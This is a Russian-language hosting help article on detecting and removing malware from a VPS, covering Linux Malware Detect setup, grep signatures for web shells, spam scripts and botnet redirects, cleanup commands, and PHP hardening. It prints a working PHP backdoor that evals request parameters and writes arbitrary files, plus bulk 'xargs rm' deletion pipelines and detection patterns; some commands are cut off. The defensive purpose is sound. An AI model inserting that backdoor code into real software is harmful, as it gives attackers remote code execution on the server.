Поиск вредоносного ПО на VPS
Автор Алексей | HiTex.BY, Последнее изменение: Алексей | HiTex.BY на 07 июля 2017 9:52
|
|
Поиск вирусов с помощью Linux Malware Detect
ВведениеLinux Malware Detect (LMD) или maldet - это специализированный инструмент для поиска вирусов, спам-скриптов, веб-шеллов и прочего вредоносного кода в файлах сайтов. Он может создавать отчеты и лечить инфицированные файлы. УстановкаУстановка для CentOS и Debian одинакова: cd /root wget http://www.rfxn.com/downloads/maldetect-current.tar.gz tar -zxvf maldetect-current.tar.gz cd maldetect-*/ bash install.sh Установочный скрипт кладет исполняемый файл в /usr/local/maldetect/maldet и делает на него символическую ссылку /usr/local/sbin/maldet. Также скрипт создает файл /usr/lib/libinotifytools.so.0. Создается ежедневное cron-задание в /etc/cron.daily/maldet Сразу же обновляются базы сигнатур. Конфигурационный файл: /usr/local/maldetect/conf.maldet Удаление программы с сервера: rm -rf /usr/local/maldetect/ /etc/cron.daily/maldet /usr/local/sbin/maldet /usr/local/sbin/lmd ИспользованиеЗапуск сканирования стандартных путей, если у вас установлена панель управления ISPmanager: maldet -a /var/www/*/data/www Сканировать только файлы, измененные за последние 5 дней: maldet -r /var/www/*/data/www 5 По завершении сканирования будет выведено общее количество просканированных файлов, количество инфицированных и количество излеченных файлов. Также будет выведен номер отчета, который можно посмотреть командой, например: maldet --report 040515-0743.23617 Обновить базы сигнатур: maldet -u Переместить найденные зараженные файлы в карантин (в каталог /usr/local/maldetect/quarantine): maldet -q 040615-0925.31477 Вытащить файлы из карантина: maldet -s 040615-0925.31477 Пробовать очистить зараженные файлы от вредоносных вставок кода: maldet -n 040615-0925.31477 Добавить вредоносный код в базу сигнатур maldet: maldet -c badfile.php НастройкаНастроим автоматический запуск maldet по ежедневному расписанию cron. Правим конфиг /usr/local/maldetect/conf.maldet: # если хотим получать уведомления на почту email_alert=1 email_subj="maldet alert from $(hostname)" email_addr="ваша@почта.com" # помещать файлы в карантин quar_hits=1 # используем движок clamav для ускорения поиска clamav_scan=1 Вносим изменения в crontab-файл для того, чтобы сканировались директории с сайтами при установленном ISPmanager: vi /etc/cron.daily/maldet Удаляем строки после: if [ "$(ps -A --user root -o "comm" | grep inotifywait)" ]; then /usr/local/maldetect/maldet --alert-daily >> /dev/null 2>&1 else Вставляем: # стандартные пути ISPmanager if [ -d "/var/www" ]; then /usr/local/maldetect/maldet -b -r /var/www/?/data/www 2 >> /dev/null 2>&1 fi fi Проверка файлов сайтов без установки Linux Malware Detect на серверcd /root wget http://www.rfxn.com/downloads/maldetect-current.tar.gz tar -zxvf maldetect-current.tar.gz cd maldetect-1.4.2/files Устанавливаем значение переменной для разрешения запуска скрипта от пользователя: vi conf.maldet public_scan=1 Изменяем каталог, куда должна устанавливаться программа, на текущий каталог. Правим скрипт maldet: vi maldet Меняем inspath=/usr/local/maldetect на inspath=$PWD Запускаем maldet прямо из директории /root/maldetect-1.4.2/files: ./maldet -h Поиск скриптов, рассылающих спам и файлов ботнета Zeus, Exploit Kit RedirectКоманда, которая не удалит ничего лишнего: # grep -Rils --include=\*.php -e ' n7b0ecdff' -e 'CmlmKGlzc2V0KCRfUE9TVFsiY29k' ./* | xargs rm Эта команда найдет возможные спам-скрипты и сохранит их список в файл spam_scripts в директории, где вы сейчас находитесь: # grep -Rils --include=\*.php -e '\@\$emaillist\=\$_POST' -e '\$emaillist=' -e '\$smtp_username=' -e '\$smtp_password=' -e 'Sender Anonym Email' ./* > spam_scripts Эта команда найдет различные ботнетовские редиректы, и сохранит их список в файл redirects в директории, где вы сейчас находитесь: # grep -Rils --include=\*.{php,htm,html} -e 'if(md5(md5(\$' -e 'h1\>Loading...' -e 'b\>Please wait a moment ...\ You will be forwarded. \ В результате выполнения этих команд, вы получите два списка файлов, которые необходимо вручную проверить: если среди них нет нужных файлов, то вы можете удалить все файлы из списка. Поиск различных malware скриптовЭта команда найдет Shell'ы на сайтах, и сохранит их список в файл malware1 в директории, где вы сейчас находитесь. Так как такая команда может занять довольно продолжительное время, поэтому в ее конце стоит знак &, это позволит продолжить работу с консолью. # grep -Rils --include=\*.{php,htm,html} -e 'FilesMan' -e 'b=4594' -e 'e2aa4e' -e 'v58f57b98 = 0' -e 'forexam\@pandion.im' -e 'pathToDomains' Эта команда найдет различные malware в php скриптах на сайтах, и сохранит их список в файл malware2 в директории, где вы сейчас находитесь. Выполнение этой команды, так же как и предыдущей, может занять продолжительное время, поэтому в ее конце стоит &: # grep -Rils --include=\*.php -e 'JGNvZGUgPSBiYXNlN' -e 'DQplcnJ' -e 'eval(gzinflate(base64_decode' -e Эта команда найдет различные malware в java скриптах на сайтах. Список выведет сразу: # grep -Rils --include=\*.js -e '\%3C\%73\%63\%72\%69\%70\%74\%20\%74\%79\%70' -e 'kSKlBXYjNXZfhSZwF2YzVmb1h' ./* Проверка и чистка/удаление найденных скриптовПосле получения списка зараженных файлов настало время их почистить. malware1: cat malware1 | grep -v 'public_html' | grep -v 'webstat' | xargs grep -Rils 'FilesMan' | \ xargs grep -Rils "sDdphXZgsTKddSYnsF" | xargs sed -i "" -e "/auth_pass\ =/d" & cat malware1 | grep -v 'public_html' | grep -v 'webstat' | xargs grep -Rils 'FilesMan' | \ xargs grep -Rils "sDdphXZgsTKddSYnsF" | xargs sed -i "" -e "/sDdphXZgsTKddSYnsF/d" & cat malware1 | grep -v 'public_html' | grep -v 'webstat' | xargs grep -Rils 'FilesMan' | xargs rm & Следующая команда удаляет скрипты с подобным кодом: <?php $awff = "a9b193d36245fc6a750a75eb594a3c70"; if(isset($_REQUEST['vpyu'])) { $wwyioqi = $_REQUEST['vpyu']; eval($wwyioqi); exit(); } if(isset($_REQUEST['yccqdyb'])) { $mhvwg = $_REQUEST['qipseeqy']; $mvwvjnec = $_REQUEST['yccqdyb']; $gfcked = fopen($mvwvjnec, 'w'); $qllnske = fwrite($gfcked, $mhvwg); fclose($gfcked); echo $qllnske; exit(); }?> cat malware1 | xargs grep -Rils ' = fopen(\$' | xargs grep -Rils ' = fwrite(\$' | xargs rm & Команда, которая удалит веб-шеллы FilesMan: cat malware1 | xargs grep -Rils 'FilesMan' | xargs grep -Rils 'auth_pass' | xargs rm & Смотрим для каждого паттерна и по ходу либо чистим файлы, либо удаляем. cat malware1 | xargs grep -Rils 'b=4594' malware2: Чистка кода от возможных вставок: cat malware2 | xargs grep -Rils 'DQplcnJ' | xargs perl -pi -e 's/eval\(base64_decode\(\"DQplcn.*fQ0KfQ\=\="\)\)\;//g' & cat malware2 | xargs grep -Rils 'DQplcnJ' | xargs perl -pi -e 's/eval\(base64_decode\(\"DQplcn.*Cn0NCn0\=\"\)\)\;//g' & cat malware2 | xargs grep -Rils 'DQplcnJ' | xargs perl -pi -e 's/eval\(base64_decode\(\"DQplcn.*DQp9DQp9\"\)\)\;//g' & Смотрим каждый паттерн отдельно и также либо чистим, либо удаляем файл: cat malware1 | xargs grep -Rils 'паттерн_из_второй_длинной_команды_из_пункта_3' Профилактика защиты от вирусовНе секрет, что чем дальше, тем больше становится вредоносного кода, способного поразить файлы Вашего сайта и все больше способов злоумышленники находят, чтобы получить доступ к файлам сайта. Не существует панацеи, чтобы "легким движением руки" раз и навсегда избавить свои файлы от печальной участи. Прежде всего, безопасность Ваших ресурсов зависит именно от Ваших же действий. Вам необходимо снизить шанс заражения сайта вредоносным кодом. Более подробно рассмотрим некоторые возможности для осуществления этого. Как предостеречь свои проекты от вредоносного кода, а также себя от нервных срывов
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
disable_functions = exec, mail, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_sour | |
|